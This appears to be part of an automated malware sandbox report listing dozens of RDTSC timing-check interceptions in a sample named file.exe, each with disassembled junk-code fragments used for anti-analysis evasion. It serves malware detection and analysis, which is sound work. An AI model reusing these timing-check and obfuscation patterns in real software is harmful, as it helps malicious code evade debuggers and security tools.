Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFD39 second address: 7BFD3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFD3F second address: 7BFD43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BFEBA second address: 7BFEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 ja 00007F27CCB240E2h 0x0000000b jl 00007F27CCB240D6h 0x00000011 jne 00007F27CCB240D6h 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007F27CCB240DDh 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC01F second address: 7CC034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 js 00007F27CD375EE6h 0x0000000f jnl 00007F27CD375EE6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC034 second address: 7CC040 instructions: 0x00000000 rdtsc 0x00000002 je 00007F27CCB240D6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CC040 second address: 7CC046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBA99 second address: 7CBA9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBA9F second address: 7CBAA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBAA3 second address: 7CBAA8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBD47 second address: 7CBD4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBEB7 second address: 7CBEBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CBEBD second address: 7CBED0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a push edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e popad 0x0000000f push edx 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D082B second address: 7D0864 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F27CCB240E9h 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F27CCB240E1h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F27CCB240E9h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0864 second address: 7D0868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0A0C second address: 7D0A19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F27CCB240D6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B2B second address: 7D0B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0B35 second address: 7D0B41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F27CCB240D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DCB second address: 7D0DDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CD375EEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DDC second address: 7D0DF3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F27CCB240DFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DF3 second address: 7D0DFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0DFF second address: 7D0E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F27CCB240D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0E09 second address: 7D0E1D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0E1D second address: 7D0E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0E26 second address: 7D0E40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jbe 00007F27CD375EE6h 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007F27CD375EEAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D0F8B second address: 7D0F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 popad 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1126 second address: 7D1132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1132 second address: 7D1158 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E9h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783702 second address: 783716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F27CD375EE6h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783716 second address: 78371B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 78371B second address: 783721 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 783721 second address: 78374F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240E4h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 jp 00007F27CCB240D6h 0x00000018 jns 00007F27CCB240D6h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1CA5 second address: 7D1CC3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F27CD375EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F27CD375EEFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1CC3 second address: 7D1CC7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1CC7 second address: 7D1CCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1CCD second address: 7D1CD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D1CD3 second address: 7D1CD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A20D5 second address: 782B20 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebx 0x0000000b call 00007F27CCB240D8h 0x00000010 pop ebx 0x00000011 mov dword ptr [esp+04h], ebx 0x00000015 add dword ptr [esp+04h], 00000017h 0x0000001d inc ebx 0x0000001e push ebx 0x0000001f ret 0x00000020 pop ebx 0x00000021 ret 0x00000022 mov dword ptr [ebp+12460DF6h], esi 0x00000028 mov dword ptr [ebp+122D1CD0h], ebx 0x0000002e lea eax, dword ptr [ebp+12486E17h] 0x00000034 js 00007F27CCB240DCh 0x0000003a mov dword ptr [ebp+122D34A3h], edx 0x00000040 nop 0x00000041 jnc 00007F27CCB240F9h 0x00000047 push eax 0x00000048 jmp 00007F27CCB240E8h 0x0000004d nop 0x0000004e call dword ptr [ebp+122D32FBh] 0x00000054 pushad 0x00000055 push eax 0x00000056 push edx 0x00000057 push ebx 0x00000058 pop ebx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2239 second address: 7A22F3 instructions: 0x00000000 rdtsc 0x00000002 je 00007F27CD375EE8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F27CD375EEEh 0x00000013 jmp 00007F27CD375EF8h 0x00000018 popad 0x00000019 xchg eax, ebx 0x0000001a and ecx, 3EAB3419h 0x00000020 push dword ptr fs:[00000000h] 0x00000027 add dword ptr [ebp+1246CD9Fh], edi 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 ja 00007F27CD375EECh 0x0000003a mov dword ptr [ebp+12486E6Fh], esp 0x00000040 cmp dword ptr [ebp+122D2B64h], 00000000h 0x00000047 jne 00007F27CD375FA5h 0x0000004d jnl 00007F27CD375EECh 0x00000053 mov byte ptr [ebp+122D2289h], 00000047h 0x0000005a push 00000000h 0x0000005c push ebx 0x0000005d call 00007F27CD375EE8h 0x00000062 pop ebx 0x00000063 mov dword ptr [esp+04h], ebx 0x00000067 add dword ptr [esp+04h], 0000001Ch 0x0000006f inc ebx 0x00000070 push ebx 0x00000071 ret 0x00000072 pop ebx 0x00000073 ret 0x00000074 mov ch, al 0x00000076 mov eax, D49AA7D2h 0x0000007b xor dword ptr [ebp+1247182Fh], eax 0x00000081 push eax 0x00000082 push eax 0x00000083 push edx 0x00000084 push eax 0x00000085 push edx 0x00000086 push esi 0x00000087 pop esi 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A22F3 second address: 7A22F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A22F7 second address: 7A22FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A22FD second address: 7A2303 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2303 second address: 7A2307 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2307 second address: 7A230B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26ED second address: 7A26FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EEDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A26FE second address: 7A2702 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2702 second address: 7A2736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 2526ACE2h 0x0000000f call 00007F27CD375EF2h 0x00000014 push ecx 0x00000015 pop edx 0x00000016 pop edi 0x00000017 mov dword ptr [ebp+122D1DF4h], esi 0x0000001d push D23B12BDh 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2813 second address: 7A282A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F27CCB240E2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A2FAC second address: 7A3011 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push esi 0x0000000b call 00007F27CD375EE8h 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], esi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc esi 0x0000001e push esi 0x0000001f ret 0x00000020 pop esi 0x00000021 ret 0x00000022 mov ecx, dword ptr [ebp+122D2BC8h] 0x00000028 push 0000001Eh 0x0000002a call 00007F27CD375EF4h 0x0000002f jo 00007F27CD375EECh 0x00000035 mov dword ptr [ebp+122D1D32h], eax 0x0000003b pop edi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F27CD375EEDh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A33E2 second address: 7A3479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CCB240DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F27CCB240E4h 0x00000010 jmp 00007F27CCB240E7h 0x00000015 popad 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push eax 0x0000001a call 00007F27CCB240D8h 0x0000001f pop eax 0x00000020 mov dword ptr [esp+04h], eax 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc eax 0x0000002d push eax 0x0000002e ret 0x0000002f pop eax 0x00000030 ret 0x00000031 mov cx, si 0x00000034 pushad 0x00000035 sub dword ptr [ebp+12450FFFh], edx 0x0000003b jo 00007F27CCB240DCh 0x00000041 mov dword ptr [ebp+122DB639h], edx 0x00000047 popad 0x00000048 lea eax, dword ptr [ebp+12486E5Bh] 0x0000004e adc ch, 0000006Bh 0x00000051 je 00007F27CCB240DDh 0x00000057 jno 00007F27CCB240D7h 0x0000005d nop 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 jnl 00007F27CCB240D6h 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3479 second address: 7A34F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F27CD375EF5h 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007F27CD375EEBh 0x00000019 nop 0x0000001a movzx ecx, dx 0x0000001d jl 00007F27CD375EE9h 0x00000023 mov cx, bx 0x00000026 lea eax, dword ptr [ebp+12486E17h] 0x0000002c mov ecx, dword ptr [ebp+122D2CC8h] 0x00000032 nop 0x00000033 pushad 0x00000034 jne 00007F27CD375EECh 0x0000003a jo 00007F27CD375EE8h 0x00000040 push edi 0x00000041 pop edi 0x00000042 popad 0x00000043 push eax 0x00000044 push edi 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A34F1 second address: 7A34F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A34F5 second address: 783702 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 sub dword ptr [ebp+1244AF70h], esi 0x0000000e call dword ptr [ebp+122D32F3h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA148 second address: 7DA14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA2F7 second address: 7DA30F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F27CD375EECh 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c jl 00007F27CD375EE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA30F second address: 7DA323 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007F27CCB240DEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA323 second address: 7DA331 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 je 00007F27CD375EECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA331 second address: 7DA335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA605 second address: 7DA626 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 jbe 00007F27CD375EE6h 0x0000000c jmp 00007F27CD375EF0h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA626 second address: 7DA62C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA62C second address: 7DA64D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EF8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DA7AA second address: 7DA7B4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F27CCB240D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E22E1 second address: 7E22FC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007F27CD375EF8h 0x0000000d jmp 00007F27CD375EECh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E22FC second address: 7E2308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jng 00007F27CCB240D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2308 second address: 7E231A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F27CD375EE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a js 00007F27CD375EECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E231A second address: 7E2326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007F27CCB240D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2463 second address: 7E248E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F27CD375EECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a ja 00007F27CD375EFEh 0x00000010 jmp 00007F27CD375EF2h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E248E second address: 7E2495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2495 second address: 7E24A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E24A5 second address: 7E24AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7572F0 second address: 7572F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E61AB second address: 7E61AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E61AF second address: 7E61CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F27CD375EF4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9710 second address: 7E9716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8FAD second address: 7E8FE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jo 00007F27CD375EECh 0x0000000c jo 00007F27CD375EE6h 0x00000012 jc 00007F27CD375EFAh 0x00000018 jmp 00007F27CD375EF4h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 popad 0x00000023 jc 00007F27CD375EECh 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E915A second address: 7E915E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9420 second address: 7E9425 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9425 second address: 7E942F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F27CCB240DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEAEB second address: 7EEAEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEC43 second address: 7EEC5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F27CCB240D6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d jmp 00007F27CCB240DEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEC5E second address: 7EEC89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F27CD375EF4h 0x00000009 jmp 00007F27CD375EF3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEE0E second address: 7EEE14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEE14 second address: 7EEE18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EEE18 second address: 7EEE1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
